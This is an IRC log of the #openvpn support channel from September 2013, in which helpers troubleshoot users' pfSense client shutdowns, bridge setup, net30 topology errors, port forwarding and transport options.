13:05 <+pekster> What is that? It doesn't appear to be openvpn; is that "OpenVPN Connect"?
13:05 < esde> No, it's openvpn client. pfsense
13:06 <+pekster> And apparently you can't access text logs from it? :(
13:06 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
13:06 < esde> erm. not sure where to look.
13:06 <+pekster> If the client is ceasing communication after it fails to connect, your issue is on the client
13:06 <+pekster> IIRC this was your problem, no?
13:07 <+pekster> ie: http://pastebin.com/frB3CuQA
13:07 < esde> it looks like it "connects" at Sep 5 12:43:16 	openvpn[43824]: Initialization Sequence Completed
13:07 <+pekster> That's not a connection
13:07 < P4k3> Im trying to move an existing openvpn-server from a windows machine to an debian one. Can't figure out how to setup the brigde correctly it seems. I can now successfully connect to the openvpn-server from an external client.. But the only ip I can ping trough the tunnel is the openvpn-server ones.. nothing else on that lan... Any suggestions? :)
13:07 < esde> normally, thats the last or near the last line in my log
13:08 <+pekster> Or do you mean you see that on the client?
13:08 < esde> I see that on the client
13:08 < esde> the screengrab was from the openvpn client log under system logs in pfsense
13:09 <+pekster> Still no clue why you insist on "screenshots" (try learning to log into the console of your console-based OS someday.) The "SIGTERM" bit means something sent it a request to shut down (ie: a "TERM" signal.)
13:11 < esde> because i have zero clue where the log files are in pfsense, and my linux experience is not the greatest. still learning how to get around, and where things are stored
13:11 <+pekster> !pfsense
13:11 <@vpnHelper> "pfsense" is dont use the web gui for configuring openvpn, you need to understand the config and logfiles
13:12 <+pekster> It's curious that something is apparently causing your PID to shut down 18 seconds after it finishes connecting. I'd try to figure out what/why is doing that
13:13 < esde> I don't know where to start. But I'm trying to learn
13:13 < esde> I was using a subscruption based openvpn service and decided to learn it myself and host my own.
13:14 < esde> Everything was peachy until the vps rebooted this morning
13:15 <+pekster> So, the "screenshot" earlier isn't actually a config from your client? Kinda defeats the point of showing yoru client config
13:16 <+pekster> There was even a URL telling you how to get your config off the pfsense box in !configs if you read it
13:16 < esde> it is not the config from the client on pfsense, no. the only config I've worked with via pfsense is the gui openvpn client page, and adding the certs to certificate manager
13:16 <+pekster> Then I suggest you learn how to configure openvpn; if you want help configuring/using the "GUI frontend" then ask pfsense people
13:17 <+pekster> !gui
13:17 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
13:17 < esde> !configs
13:17 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:17 <+pekster> The general recommendation here for unoffical GUIs is "try invoking openvpn without your GUI; if that works, the GUI/frontend is the issue"
13:18 <+pekster> If you can't do that, start by learning how your client platform works before attempting to use advanced networking tools on it
13:19 < esde> I ran the ps command but the output doesn't include the location of the config file, just "openvpn", no flags
13:20 <+pekster> Then you apparently used the wrong command; openvpn never does anything useful with run as simply `openvpn`
13:20 < esde> I ran ps auxww | grep openvpn
13:21 < esde> http://pastebin.com/WBLZekag
13:21 <+pekster> openvpn isn't running: that's your grep command
13:21 < esde> brb
13:21 <+pekster> Or if it is running it's not called "openvpn" on the box
13:22 <+pekster> And if it's shut down (SIGTERM'd) then of course it won't be running as it has been terminated
13:22  * pekster shrugs. This sounds like a good case of learn how your client OS works before trying to use openvpn on it
13:22 < esde> ahh. sorry. I have the client disabled, makes sense it's down.
13:23 <+pekster> P4k3: `brctl` is the tool to configure your bridges under Linux, although your OS (debian included) has ways to set up bridges on boot which you should use instead. This said, why are you bridging? You generally shouldn't use a L2 bridge with openvpn unless you need to transport non-IP raw Ethernet frames
13:24 < esde> pekster, i /have/ been trying to learn how the client os works and especially with openvpn. everytime i get the "gist" of it, but it never clicks. apparently it's not too obvious but i am making an effort to learn this and not just copy/paste
13:24 < P4k3> oh.. uhm.. I followed this when moving http://www.troublenow.org/362/howto-setup-openvpn-in-bridge-mode-on-debian/
13:24 <@vpnHelper> Title: TroubleNow.org - Howto setup openvpn in bridge mode on debian (at www.troublenow.org)
13:24 < P4k3> And just took my config and easy-rsa files with me from the windows host
13:25 <+pekster> P4k3: Right, by why bridge? It makes things vastly more complicated (as you are discovering)
13:25 < esde> now my problem is, if i enable openvpn client, im going to lose my remote connection to that network. making it impossible for me to then run ps and grep the openvpn process and subsequently the logfile path.
13:25 < esde> fun
13:25 <+pekster> If you want a bridge you need to perform the bridging in the OS, which is platform specific
13:27 <+pekster> You you intended to bridge, you must configure your bridge interface and place your physical interface into the bridge and assign the IP to the bridge, then either have openvpn dynamically call a script to add the tap device to the bridge, or optionally have your distro startup scripts create a persistent tap device that openvpn calls specifically by name; wouldn't you rather route and skip all that complexity?
13:27 <+pekster> P4k3: ^
13:32 < esde> http://pastebin.com/S7TwJc8S Server conf
13:32 < esde> erm
13:32 < esde> pfsense client conf
13:34 <+pekster> That config has options that really don't make sense to use together
13:35 <+pekster> Why use --ping-timer-rem when you're a client using --remote?
13:35 <+pekster> Generally the server pushes --keepalive to the client, not the other way around? The client is pulling, so that's a strange choice (though not necessarly an error, strictly speaking)
13:36 <+pekster> I have to wonder what's using the managemnet Unix socket too, and if "whatever may or may not be connecting to it" is the one shutting down the service
13:37 <+pekster> Basically, you have quite a complex client config, and I suspect you have no clue why it's set up that way. My suggestion would be to configure a client that does what you want, not what whatever your clicky-GUI-thing thinks you want
13:37 <+pekster> It's also a bit non-standard to declare --tun-mtu directly like that
13:38 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
13:43 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 256 seconds]
13:44 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
13:46 -!- HyperGlide [~HyperGlid@222.211.124.117] has quit [Remote host closed the connection]
13:48 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
13:49 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 260 seconds]
13:51 < esde> i-i-i just need a drink
13:51 < esde> it works now.
13:51 < esde> I've changed nothing. Absolutely nothing. on Pfsense or OpenVPN server
13:52 < esde> I bet my gf was enabling the wrong openvpn client and the routing was set up for the old client
13:52 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
13:52 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 245 seconds]
13:52 < esde> Thanks for the help, with this overly complicated config and shallow understanding of shell and bash, im sure i'll be back! :)
13:53 <+pekster> Some background on how yoru OS works will be helpful for you; while GUI frontends can be helpful, you've just discovered how they tend to get in the way if you don't know what they're really doing
13:54 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
13:55 < esde> You're assuming I hadn't already realized this. I know and understand that fact. I'm just having a hell of a time picking up the whole cli thing. I was raised with a keyboard AND mouse in my hand. It's hard to give up the mouse and submit to learning just the keyboard
13:55 < esde> if that makes sense
13:56 <+pekster> Sure, just a friendly reminder that OS basics are more or less a prerequisite to using openvpn, since it's naturally a CLI-based program
13:57 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 264 seconds]
13:57 < esde> Gotcha, I learned a little *nix history from my shell scripting book, everything so far makes sense. Only thing is continuing to read it.
13:57 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has joined #openvpn
13:59 -!- aero2241 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 264 seconds]
14:02 -!- aero224 [~Adium@S0106c8fb2642445e.cg.shawcable.net] has quit [Ping timeout: 264 seconds]
14:11 -!- michaelhart [~michaelha@162.209.54.120] has quit [Read error: No route to host]
14:11 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
14:22 -!- esde [~jdekker@unaffiliated/esde] has quit [Read error: Connection reset by peer]
14:24 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
14:33 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
14:37 -!- Devastatr [~devas@186.214.15.244] has joined #openvpn
14:37 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
14:38 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
14:39 -!- Devastatr [~devas@186.214.15.244] has quit [Changing host]
14:39 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
14:39 -!- Devastatr is now known as Devastator
14:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:56 -!- Denial [Denial@05417302.skybroadband.com] has quit []
15:25 -!- Azrael_- [~idjfijdi@adsl-62-167-40-41.adslplus.ch] has quit []
15:40 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Quit: Nettalk6 - www.ntalk.de]
15:53 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
15:55 -!- aero224 [~Adium@dsl-vlan426-66-18-218-182.nucleus.com] has joined #openvpn
16:03 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
16:21 -!- rjp421 [~rjp@whohacked.me] has joined #openvpn
16:47 -!- rjp421 [~rjp@whohacked.me] has left #openvpn ["Leaving"]
16:48 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
16:51 -!- master_o1_master [~master_of@p4FD7BDF4.dip0.t-ipconnect.de] has joined #openvpn
16:55 -!- master_of_master [~master_of@p4FD7B23F.dip0.t-ipconnect.de] has quit [Ping timeout: 268 seconds]
16:58 -!- klong-2 [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
17:00 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 245 seconds]
17:10 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Quit: Felt like it.]
17:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
17:14 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
17:14 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:25 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
17:55 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
17:55 -!- mode/#openvpn [+v s7r] by ChanServ
17:55 < eval-> The server pushes something like ifconfig 10.12.0.6 255.255.255.0 but then I get /sbin/ifconfig tun0 10.12.0.6 pointopoint 255.255.255.0 mtu 1500 and SIOCSIFDSTADDR: Invalid argument
17:55 < eval-> Because it should be pointonet ?
17:56 <+pekster> Sounds like you're using net30 topology where you need to push PtP addressing
17:57 < eval-> Yes, it says net30.  Can I override their server's config somehow?
17:57 <+pekster> Use the correct numbering scheme, or switch your --topology to subnet instead (which is generally recommended anyway for server/client setups)
17:57 <+pekster> See !topology and !/30 for details, and --topology in the manpage
17:57 <+pekster> No, all nodes must use the same topology
17:58 <+pekster> (the server will generally push the topology to clients when using a TLS mode)
17:58 < eval-> The server pushes topology net30
17:59 <+pekster> You are pushing bad values; the 2nd part to --ifconfig-push should be the peering IP for the PtP interface
17:59 < eval-> I am not the server...
17:59 <+pekster> Then the owner of whatever you're connecting to is an idiot
17:59 < eval-> I've established that already.  And they won't give me a refund
18:00 < eval-> So back to my original question, can I override their push already?
18:00 <+pekster> No
18:00 <+pekster> Well, if it's just the peering IP, maybe you can force it, but it's going to be dynamic and change every time you connect
18:00 < eval-> Why does this work fine on debian and give me SIOCSIFDSTADDR: Invalid argument on ubuntu
18:01 < eval-> Peering IP means their 10.12.0.5 (to my 10.12.0.6) the two ends of the PtP?
18:01 <+pekster> Yup
18:01 < eval-> It seems to always be fixed
18:01 <+pekster> In Linux ip syntax, `ip addr add 10.1.2.3 peer 10.1.2.4` or such
18:02 < eval-> But I have to make openvpn not barf out when that SIOCSIFDSTADDR error happens
18:02 <+pekster> It's not; openpvn just hands out the "next free" in a pool situation, although since you don't control the server I'm not going to speculate on how its set up
18:02 <+pekster> You really can't becuase it'll change if "someone else" got that .6 IP first, and you can't use an IP you're not assigned or openvpn will reject the traffic
18:02 <+pekster> Maybe you could write a clever script to eat the values pushed and set them yourself using the right IP
18:03 <+pekster> A better idea is not to feed money to fools. Hopefully you used a credit card and you can call up your CC carrier and have them refund the money and issue the dumbass vendor a charge-back
18:03 < eval-> OK, but how do I get openvpn not to quit upon getting that error?
18:03 < eval-> I could open a dispute with PayPal I suppose.  They told me they'd fight it
18:03 <+pekster> See --ifconfig-noexec
18:03 < eval-> I already used up my 'trial-period' GB limit (fine print)
18:03 <+pekster> Then you have to deal with the mess yourself manually
18:03 < eval-> Le sigh.
18:03 < eval-> Thanks!
18:04 <+pekster> I'm not particurlarly interested in helping you write a script to work around something openvpn does very well when used properly, but that directive will "not set the addressing automatically" so you can use a script to do it based on the env-vars you get
18:04 <+pekster> !scripts
18:04 <@vpnHelper> "scripts" is "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
18:04 <+pekster> If you really feel up for fixing this on the client side, it's possible, but messy
18:05  * pekster has no clue why 98+% of providers are idiots. Apparently people continue to throw money at them, so they pop up like rabbits
18:05 < eval-> How are we supposed to know what their openvpn.conf looks like before we pay?
18:06 < eval-> And why is the behavior of ifconfig so different across different distros?
18:06 < eval-> Or did tun.ko in kernel 3.10 become more forgiving than 3.8?
18:09 <+pekster> No idea; it's very abnormal to use an address in the so-called "Class-E" space to peer with
18:09 <+pekster> It's quite possible older kernels won't support that while a new one does
18:11 <+pekster> Seems to work for me under a 'mostly-vanilla' 3.7.10 kernel
18:12 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 240 seconds]
18:12 <+pekster> I don't really have a good answer for you on being a savvy consumer of providers since I don't have the need/desire to use one; the smarter ones should offer a way to trial the service upfront, or provide a separate dedicated 'test' account that won't let you route to the global Internet, or lets you get to just 1 webpage to test your "new" IP or something
18:13 <+pekster> You'd figure people who try to make it their job to sell these services would figure this stuff out, but they obviously suck ;)
18:14 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has left #openvpn []
18:14 < eval-> If I had realized I could just buy a VPS for $5 less per year, set up openvpn myself, (and ahve full port control) two weeks ago... sigh.
18:17 < eval-> Huh, only a fraction of their servers are misconfigured
18:19 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 245 seconds]
18:28 <+pekster> Discressional incompetence ;)
18:48 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
18:56 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
18:57 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:57 -!- mode/#openvpn [+v s7r] by ChanServ
19:04 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has quit [Ping timeout: 240 seconds]
19:04 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 245 seconds]
19:05 -!- klong-2 [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 240 seconds]
19:09 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
19:16 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
19:27 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 268 seconds]
19:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
19:40 -!- klong-2 [~klong@207.115.88.202] has joined #openvpn
19:41 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 248 seconds]
19:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:42 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
19:50 -!- sauce [~sauce@unaffiliated/sauce] has quit [Quit: sauce]
19:51 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
19:56 -!- raidz is now known as raidz_away
19:58 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:04 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
20:06 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
20:06 -!- mode/#openvpn [+v s7r] by ChanServ
20:38 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 268 seconds]
20:41 -!- sauce [~sauce@unaffiliated/sauce] has joined #openvpn
20:46 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Read error: Connection reset by peer]
20:49 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
20:52 -!- kloeri__ [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
20:55 -!- kloeri__ [~kloeri@freenode/staff/exherbo.kloeri] has quit [Quit: leaving]
22:38 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
22:42 -!- klong-2 [~klong@207.115.88.202] has quit [Ping timeout: 256 seconds]
22:58 -!- aero224 [~Adium@dsl-vlan426-66-18-218-182.nucleus.com] has quit [Quit: Leaving.]
23:15 -!- chiiph [~chiiph@unaffiliated/chiiph] has quit [Remote host closed the connection]
23:16 -!- chiiph [~chiiph@unaffiliated/chiiph] has joined #openvpn
23:50 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Quit: Nettalk6 - www.ntalk.de]
--- Day changed Fri Sep 06 2013
00:09 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:32 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:44 -!- levifig [~levifig@spwn.co] has joined #openvpn
01:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:38 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
01:38 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
01:39 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
01:39 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
01:39 -!- mode/#openvpn [+v s7r] by ChanServ
01:44 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:54 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:23 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
02:40 -!- adac [~adac@chello080109174123.tirol.surfer.at] has joined #openvpn
02:41 < adac> Is there a script that can generate a "client.openvpn" file?
02:41 < Eugene> !confgen
02:41 <@vpnHelper> "confgen" is (#1) http://www.doeshosting.com/code/openvpn-confgen.tgz for the bash config generator or (#2) you can use svn co http://www.secure-computing.net/svn/trunk/openvpn-confgen/ or (#3) you must run this in bash
02:45 -!- ade_b [~Ade@nlvdhy30-ext1.pub-eu.asml.com] has joined #openvpn
02:45 -!- ade_b [~Ade@nlvdhy30-ext1.pub-eu.asml.com] has quit [Changing host]
02:45 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:59 < adac> Eugene, thank you!
03:00 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:13 -!- fields2000 [~Phil@wsip-72-200-248-82.om.om.cox.net] has quit [Ping timeout: 264 seconds]
03:13 -!- fields2grand [~Phil@wsip-72-200-248-82.om.om.cox.net] has joined #openvpn
03:35 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds]
03:42 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
03:51 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 276 seconds]
03:59 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 248 seconds]
04:02 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
04:02 -!- mode/#openvpn [+v hazardous] by ChanServ
04:15 -!- derRichard [~derRichar@pippin.sigma-star.at] has joined #openvpn
04:16 < derRichard> is there any way to make openvpn listen on both udp and tcp?
04:19 < Aketzu> run two openvpn instances
04:19 < Aketzu> (with different subnets naturally)
04:21 < derRichard> Aketzu: this is what i'd like to avoid
04:23 <@plai> derRichard: Not possible at the moment
04:24 < derRichard> plai: okay. but there are plans to enable such a dual mode?
04:24 < derRichard> btw: do you also have plans for supporting sctp as transport?
04:25 <@plai> derRichard: no concrete plans
04:26 <@plai> derRichard: I might look into it when I free time but unless someone wants to pay me for it it is not going to be anytime soon
04:26 <@plai> as for sctp
04:26 <@plai> sctp is so rare that there no plans at all
04:27 < derRichard> but sctp is very useful for vpn as transport layer
04:31 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:34 -!- Poster|w [poster@shell.bshellz.net] has quit [Ping timeout: 264 seconds]
04:38 -!- monsbeat [~mons@109.117.44.228] has joined #openvpn
04:39 < monsbeat> Hi, configured openvpn using directive "ifconfig 10.0.0.8 10.0.0.1" but I get 10.0.0.2 ip assigned
04:39 < monsbeat> Why?
04:39 < Eugene> !/30
04:39 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
04:40 < monsbeat> Eugene, already set "topology subnet"
04:41 < Eugene> That ifconfig line is not valid
04:41 < Eugene> The syntax is --ifconfig Local Subnet
04:41 -!- Poster|w [poster@shell.bshellz.net] has joined #openvpn
04:41 < monsbeat> No
04:41 < monsbeat> Not if you use tun
04:41 < Eugene> I'd ask to look at your ACTUAL config, but it's 5AM and I don't care to paw through it
04:42 < Eugene> Or you can just be a smartass and tell the expert that he's wrong.
04:42 < Eugene> That works fine too
04:42 < monsbeat> Is written in the manual
04:42 < Eugene> Good luck getting your shit running
04:42 < monsbeat> Man openvpn /--tun
04:43 < Eugene> PS using that directive is pathological. You should have IPs handed out by the server
04:44 < monsbeat> That s not the answer to my question. "Why do I get 10.0.0.2 instead of 10.0.0.8 or 10.0.0.3 or something else up I set?
04:44 < monsbeat> *IP
04:45 < Eugene> Because something isn't configured correctly
04:45 < monsbeat> How to know what?
04:46 < Eugene> The fact that you're doing --ifconfig is the first clue
04:46 < Eugene> --server and --pull are the recommended & sane way to set it up
04:47 < monsbeat> Ok, now I try to discover why by myself. If I need, I ll come back
04:47 < monsbeat> Thanks, bye
04:48 -!- monsbeat [~mons@109.117.44.228] has quit [Quit: monsbeat]
05:15 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
05:22 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
05:37 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Excess Flood]
06:00 -!- JSharpe_ [~JSharpe@h88-150-184-50.host.redstation.co.uk] has joined #openvpn
06:00 -!- JSharpe [~JSharpe@h88-150-184-50.host.redstation.co.uk] has quit [Ping timeout: 256 seconds]
06:10 -!- SupaYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
06:10 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 268 seconds]
06:13 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
06:16 -!- JSharpe_ is now known as JSharpe
06:19 -!- Fohlen [~Fohlen@2a01:4f8:d15:34c3::2] has quit [Quit: ZNC - http://znc.in]
06:21 -!- Fohlen [~Fohlen@2a01:4f8:d15:34c3::2] has joined #openvpn
06:28 -!- JPeterson [~JPeterson@81.233.152.121] has joined #openvpn
06:33 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
06:33 -!- JPeterson [~JPeterson@81.233.152.121] has quit [Ping timeout: 240 seconds]
06:34 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
06:35 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
06:42 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
06:43 -!- Dark_Apostrophe [~Dark_Apos@unaffiliated/darkapostrophe/x-0983214] has joined #openvpn
06:43 < Dark_Apostrophe> Olipro: You around?
06:45 < Dark_Apostrophe> I've set up a server on Windows, which starts up with no errors - but when I try to connect to it, it times out. I've tried dropping the client's firewall alltogether, with no luck. The port (1194 UDP) on the server -should- be forwarded. Would anyone please help me figure out what's wrong?
06:48 < adac> When I start openvpn cleint with the .conf file then nothing happens anymore there is no error, but also tehre is no success output. It just hangs. Ho to best debug this?
06:50 < Dark_Apostrophe> http://pastebin.com/yUGzcRhK <-- My config files and error message
06:50 < Eugene> It's not hanging, it's running. You probably want to use the --verb option to get some output.
06:50 < defswork> any know issues with win8 (relating to suspend/resume) ?
06:50 < Eugene> --log and --daemon are also of interest
06:51 < Eugene> Dark_Apostrophe - we're not gonna paw through the commented-out stuff.
06:51 < Eugene> !configs
06:51 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
06:51 < Eugene> Regex is your freind
06:51 < Dark_Apostrophe> Oh, ok
06:51 < Eugene> defswork - none AFAIK specific to W8; when you come back from sleep it will timeout the same as if you dropped connectivity, and hopefully --ping-restart is on
06:52 < defswork> Eugene, yeah got all the sensible settings - just the FD has issues.  Not got his laptop in yet to witness first hand
06:55 < defswork> hmm
06:55 < defswork> saying that
06:55 < defswork> not got keepalive in the client settings :O
06:57 < defswork> I'll push em see if it helps
06:57 < Dark_Apostrophe> Eugene: http://pastebin.com/E9NwXWB3 <-- There, updated
06:58 < Dark_Apostrophe> OpenVPN version is 2.3.2, server is Win2003 and client is Win7
06:58 < defswork> oh - they are already push - have keepalive on server side
06:59 < Eugene> That log doesn't indicate which side it's on
06:59 < Eugene> !censor
06:59 < Dark_Apostrophe> The log is on the client side
06:59 < Eugene> !secret
06:59 <@vpnHelper> "secret" is funny that people use free programs, consult free help for them, run a business with them, but are restricted to say what they do.
06:59 < Eugene> Fukken bot.
06:59 < Eugene> Don't clip out your server's IP.
07:00 < Dark_Apostrophe> Fair enough, but do you need it now?
07:00 < Eugene> Not really, but if you change one IP, god knows what you're fiddling with.
07:00 < Eugene> Unmolested logs + configs are important.
07:01 < Dark_Apostrophe> I just ran a simple search and replace
07:01 < Dark_Apostrophe> I do see your point, though.
07:01 < Eugene> Anyway, no fucking clue. I hate Windows as a server.
07:02 < Dark_Apostrophe> I do, too - but it's not up to me
07:02 < Eugene> Server log will probably have some info
07:03 < defswork> Dark_Apostrophe, is your windows openvpn server directly facing internet ?
07:03 < defswork> coz lack of any sign of a connection would inidicate to me no connection
07:03 < Dark_Apostrophe> Nope, it's behind a hardware firewall - on which port 1194 UDP -should- be forwareded
07:03 < defswork> so the data isn't getting to the nic
07:04 < defswork> do you manage the fw ?
07:04 < Dark_Apostrophe> Server log: http://pastebin.com/Jf4523mG
07:04 < defswork> 1st rule - always assume it's someone else's cock up
07:04 < Dark_Apostrophe> My boss does, I guess I could nag for access
07:04 < defswork> some muppet prolly forwarded tcp not udp
07:04 < defswork> or forwarded it elsewhere
07:04 < Eugene> Yup, no client packets there at all
07:05 < Dark_Apostrophe> I see
07:05 < defswork> this is the main reason I run my own firewalls - can log what I want and watch packets all the way till they exit onwards
07:06 < Dark_Apostrophe> At home, as do I - got an OpenWrt box
07:06 < Dark_Apostrophe> (Which, btw, works as an excellent OpenVPN terminator)
07:14 -!- Varazir [~mircwars@c-94-255-129-205.cust.bredband2.com] has quit [Ping timeout: 245 seconds]
07:14 -!- Varazir [~mircwars@c-94-255-129-205.cust.bredband2.com] has joined #openvpn
07:15 <@plai> derRichard: how is sctp more useful than udp or sctp?
07:15 <@plai> derRichard: unless you the multi endpoint of it it behaves like udp or tcp
07:16 < Dark_Apostrophe> There is no reliable way to test whether a UDP port is open or not, right?
07:16 < Eugene> tcpdump
07:17 < Eugene> But no, not really
07:17 < Dark_Apostrophe> I'm in the firewall's control panel now, and everything -looks- properly set up
07:17 < derRichard> plai: because of mult endpoint
07:18 < Dark_Apostrophe> WAN -> Local IP, 1194 UDP
07:22  * Eugene dons his OpenVPN shirt <3
07:23 < rob0> If the server does not log the connection attempt, it probably did not happen.
07:23 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
07:24 < SupaYoshi> Hello I've some questions regarding OpenVPN, I got my server working now, I can connect to my VPN from outside with the OPENVPN Client. However during the time I am connected I am facing the following problems: I can still nog access my network shares which are located at my network at home. (so i cannot access other devices in my LAN even though being connected to the VPN) and furthermore,
07:25 < SupaYoshi> I dont know if this is normal the IP adresss that is being shown on the internet, stays the same and is not the internal home outside world IP address.
07:25 <@plai> derRichard: yeah that is probably not going to happen anytime soon, current OpenVPN logic expects 1:1 conneciton
